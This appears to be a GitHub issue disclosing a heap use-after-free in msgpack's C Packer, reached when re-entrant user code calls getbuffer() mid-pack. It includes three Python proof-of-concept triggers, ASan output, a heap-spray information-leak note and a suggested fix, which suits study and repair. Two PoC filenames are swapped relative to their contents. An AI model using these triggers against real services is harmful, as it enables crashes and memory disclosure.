Packer use-after-free via re-entrant getbuffer() during pack() #769

Reported as a correctness bug

Summary

Packer runs user-controlled code in the middle of a pack() call, and that code can
call getbuffer() to export the packer's internal buffer as a memoryview. If packing then
continues and grows the buffer, the growth reallocates it and frees the block the exported
memoryview still points at. Reading the memoryview afterwards is a heap use-after-free.

The guard meant to prevent this, _check_exports(), only runs at the entry of each public
method. It never runs again during the recursive pack, so an export created partway through
is invisible to it.

Affected version

msgpack._cmsgpack (the C extension), class Packer.

• HEAD 8a88e3d (post-1.2.4); also reproduced on 1.2.2.
• The pure-Python fallback is not affected: its buffer is a Python object, so an exported
  view is not invalidated by a reallocation.

Details

The internal grow path is msgpack_pack_write in pack.h, which calls PyMem_Realloc
(the free site). getbuffer() returns a memoryview backed by the raw buffer pointer and a
length captured at call time. There is no mechanism tying that export's lifetime to the
buffer, and _check_exports() is an entry-only check rather than an invariant held across
the pack.

User code runs mid-pack in at least three places, and the export can be created from any of
them:

1. The default callback. This is the originally reported path (issue Packer.pack() segfaults when its default callback calls getbuffer() #733).
2. pack_map_pairs(obj), whose for k, v in obj loop runs obj.__iter__ / obj.__len__.
3. pack(o) where o is a dict or list subclass: _pack_inner runs o.items() or
   iterates o.

The proposed fix (PR #735) is incomplete

PR #735 adds one _check_exports() call in _pack, after the default callback returns.
That closes path 1 only. Paths 2 and 3 never execute that branch, so the use-after-free
still reproduces with #735 applied. Path 3 is a plain pack() of a dict, the most ordinary
call there is.

Proof of concept

Build the extension with AddressSanitizer and run the PoCs:

./build.sh                          # builds ASan+UBSan extension into .venv-asan
./run.sh poc_f6.py                  # path 1: default callback
./run.sh poc_f9_pack_map_pairs.py   # path 2: pack_map_pairs
./run.sh poc_f9_dict_subclass.py    # path 3: plain pack() of a dict subclass

poc_f6.py

# F6: Packer heap-UAF via re-entrant default= callback. Expect ASan heap-use-after-free.
import msgpack
leaked = []
class Unsupported: pass
def default(o):
    leaked.append(p.getbuffer())            # export a live view mid-pack
    return b"A" * (2 * 1024 * 1024)         # big value -> realloc frees the view's buffer
p = msgpack.Packer(default=default, autoreset=False)
p.pack([Unsupported()])
print(bytes(leaked[0])[:16])                 # read through freed pointer

poc_f9_pack_map_pairs.py

# F9: same UAF via plain pack() of a dict subclass whose items() re-enters.
import msgpack
p = msgpack.Packer(autoreset=False)
p.pack(b"prefix-content")
leaked = []
class EvilDict(dict):
    def items(self):
        leaked.append(p.getbuffer())
        return [(b"k", b"V" * (4 * 1024 * 1024))]
p.pack(EvilDict({b"x": 1}))
print(bytes(leaked[0])[:16])

Path 3, the shortest trigger:
poc_f9_dict_subclass.py

# F9: same UAF, reached via pack_map_pairs iteration (NOT the default path #735 patches).
import msgpack
p = msgpack.Packer(autoreset=False)
p.pack(b"prefix-content-to-make-buffer-nonempty")
leaked = []
class EvilPairs:
    def __len__(self): return 1
    def __iter__(self):
        leaked.append(p.getbuffer())
        yield (b"k", b"V" * (4 * 1024 * 1024))
p.pack_map_pairs(EvilPairs())
print(bytes(leaked[0])[:16])

AddressSanitizer reports heap-use-after-free, a READ inside PyBuffer_ToContiguous,
freed by realloc in msgpack_pack_write at pack.h:47. Paths 1, 2, and 3 each show a
distinct free-site frame (default branch, pack_map_pairs, and _pack_inner dict
iteration respectively), confirming they are separate routes to the same corruption.

A negative control (a re-entrant iterator that does not call getbuffer()) runs clean, so
the export is the trigger, not the re-entrancy alone.

Impact

Always a reliable crash. Whether it becomes an information leak depends on the buffer's
size class. With a small buf_size, the freed chunk returns to a glibc bin, so spraying
same-size bytes objects between the free and the read lets the stale view read back
attacker-adjacent heap content (a canary reappeared 122 times, consistent across five
runs). At the default 256KB buf_size the freed region heads toward unmapped memory and
the read segfaults, so there it stays a crash. The exported view is read-only and the
library only writes through the new pointer, so there is no write primitive.

Suggested fix

Make "no live export during a pack" an invariant instead of patching call sites one at a
time. Either refuse the realloc while exports > 0, or set a flag for the duration of any
pack and have __getbuffer__ refuse to export while it is set. The Unpacker already does
the latter with its _unpacking flag: it is set for the whole parse, including while decode
hooks run, and every buffer-touching entry point checks it. Copying that pattern closes all
three paths at once.

References

• Issue Packer.pack() segfaults when its default callback calls getbuffer() #733 (the default-callback path)
• PR Check exported buffers after the default callback returns #735 (proposed fix, closes only the default-callback path)
• PR Refuse to resize the packer buffer while a memoryview is exported #739 (earlier fix attempt, closed unmerged)